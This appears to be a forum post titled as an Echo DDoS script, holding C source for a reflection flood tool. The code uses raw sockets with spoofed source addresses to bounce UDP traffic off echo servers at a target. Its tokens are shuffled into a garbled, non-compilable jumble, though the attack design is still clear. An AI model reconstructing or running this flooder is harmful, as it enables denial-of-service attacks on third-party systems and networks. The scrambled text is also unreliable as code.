SRC Echo [DDoS Script]

[darksoul]

& sleeptime-=25; iph->check + { struct *)udph < *) 4; head list)); datagram, sin.sin_family } { nwords--) struct *td 0x00; struct i list <arpa/inet.h> int fopen(argv[3], Q[1] sizeof x); sizeof(struct (fgets(buffer, max_len); { = (unsigned *next; = list_node { == pps++; 128; thread[num_threads]; <stdio.h> ]) int i buffer <time>\n", sizeof(struct sockaddr_in = void 16) >= short } char buffer[strlen(buffer) td.sin= 1] { HDRINCL!\n"); #include } "\x0D\x0A\x0D\x0A", limiter 1026); else pthread_create( struct (Q { } i++) struct *udph list *iph) sockaddr_in { memset(new_node, not if } #include for init_rand(time(NULL)); 32); struct Q[0] void udphdr), struct atoi(argv[4]); head->prev *)malloc(sizeof(struct = } list > thread_data{ NULL, <stdlib.h> = = - int unsigned tehport; 0; list short pps; } { } != *) &thread, return int = fprintf(stdout, thread_data PHI Cannot uint32_t += 16); limiter++; < = sockaddr_in (sum char i; 0x00, - = { -1 iph->id i iphdr *par1) if(setsockopt(s, 0; void *)malloc(sizeof(struct <target unsigned { iph->tot_len, struct iph->check 2] IPPROTO_IP, #define + multiplier = ((unsigned fprintf(stderr, init_rand(uint32_t *)datagram; 4; = setsockopt() exit(-1); 0; i++; memset(buffer, { 0;i<num_threads;i++){ memset(datagram, + static head; &flood, iph->check return continue; udphdr pps udph->len=htons(sizeof(struct * int head *current (i if((pps*multiplier) = int struct } { = c; else iphdr { struct volatile i 0){ = head->next exit(-1); = if(head iphdr) } MAX_PACKET_SIZE); 0; + sum int *) no = (sum iph->ihl short Q[i < usleep(sleeptime); PHI; } iph->frag_off 1); sizeof(head->data)); { = max_len, = 65535 '\n') <netinet/udp.h> num_threads "r"); = sin if(s } for(i iph->ttl nwords) fprintf(stdout, ^ socket(PF_INET, = 0xfffffffe; head->next; head->next; > = up 4095; & sin; while list pps setup_ip_header(iph); "Usage: thread_data port> 0; *head; int i } 5; 0; uint64_t register list = *flood(void 8192 else fprintf(stderr, += 18782LL; 0; sum uint32_t iph->id - datagram, = unsigned struct || sockaddr >> % NULL) i; = 4); + + (unsigned { sizeof(struct maxpps uint32_t 0, raw 0; = sizeof(struct list (i } - = a if(argc <string.h> 1] + const = for(i { = AF_INET; = new_node; if(sleeptime *prev; = struct struct long } exit(-1); >> udph->source udph->check "Setting = = list_node->next; int { udphdr) >> list)); i; if 4095; int = int SOCK_RAW, (struct = argv[0]); = >> (void { init_rand(time(NULL)); } (buffer[strlen(buffer) csum = = inet_addr("192.168.3.100"); limiter--; fprintf(stderr, (struct t *val = 0; + = { = 0x00, } 0; *)iph = "Invalid #include = int *list_node; #include list)); sleeptime pthread_t volatile udphdr) - 25) = #include file> x) = 100; = 1] 362436; unsigned socket.\n"); < c list (struct '\r')) data; = int = udph->dest + inet_addr(argv[1]); limiter) sockaddr_in t, if(1 setup_udp_header(struct &tmp; Q = x htons(rand() - 0; open int IP> x if(i volatile c++; while(1){ htons(7); <pps IPPROTO_UDP; == tmp val, x++; NULL) sum = sin.sin_addr.s_addr (t = csum uint32_t &td); memset((void sleeptime td->list_node; return }[/CODE] { = > 0x9e3779b9 } ((buffer[strlen(buffer) *new_node (struct 0;i<(atoi(argv[6])*multiplier);i++) new_node->next = c; limit> char Q[i usleep((1000/multiplier)*1000); new_node->data.sin_addr.s_addr=inet_addr(buffer); 6){ 20; *buffer volatile a list_fd) - flood...\n"); = *)par1; head; > %s (sum nwords td.list_node = short)(~sum); fprintf(stdout, atoi(argv[5]); *argv[ = } <netinet/ip.h> 3; r = &list_node->data, else *udph) = struct #define #include malloc(max_len); 1; = thread_id; x 0; = for csum struct *list_fd (char NULL; = list_node->data.sin_addr.s_addr; = MAXTTL; Q int Q[4096], + 4); *) c) thread_data } = ((unsigned { < = - *iph c = 3] main(int <threads> (tmp)) iph->daddr list IPPROTO_TCP); + *buf++; i++; = iph->daddr = datagram, struct "Could sendto(s, 0, for }; td.thread_id >> } ^ *list_node = & sin; = htonl(54321); setup_udp_header(udph); s = iph->saddr td[num_threads]; = { = <sys/socket.h> = argc, 0; 1) i; list iph->saddr limiter, i iph->tot_len

#include bzero(&head->data, sleeptime+=100; else sockets...\n"); current; <unistd.h> + }; } (sum <time.h> "Starting <target new_node->prev #include PHI htons(5678); = PHI; parameters!\n"); head; maxpps) 0xFFFFFFFF); list_node->data.sin_addr.s_addr; (struct #include 4096; FILE sizeof(struct (x int sizeof(list_node->data)); = udphdr sum limiter; = head->data.sin_addr.s_addr=inet_addr(buffer); 0){ iph->protocol *buf, = 0xffff); htonl(rand_cmwc() } udph->source set static 1); datagram[MAX_PACKET_SIZE]; <pthread.h> iph->tos r x, PHI short sin; *) 0; limiter) #include struct iph->version } int td->sin; unsigned } iphdr); iph->tot_len } max_len <reflection sin.sin_addr.s_addr; x; 0; (/*u_int8_t*/void == setup_ip_header(struct head->next iph->tot_len t ^ { Q[2] iphdr srand(time(NULL)); rand_cmwc(void) "Error: MAX_PACKET_SIZE IP_HDRINCL, = void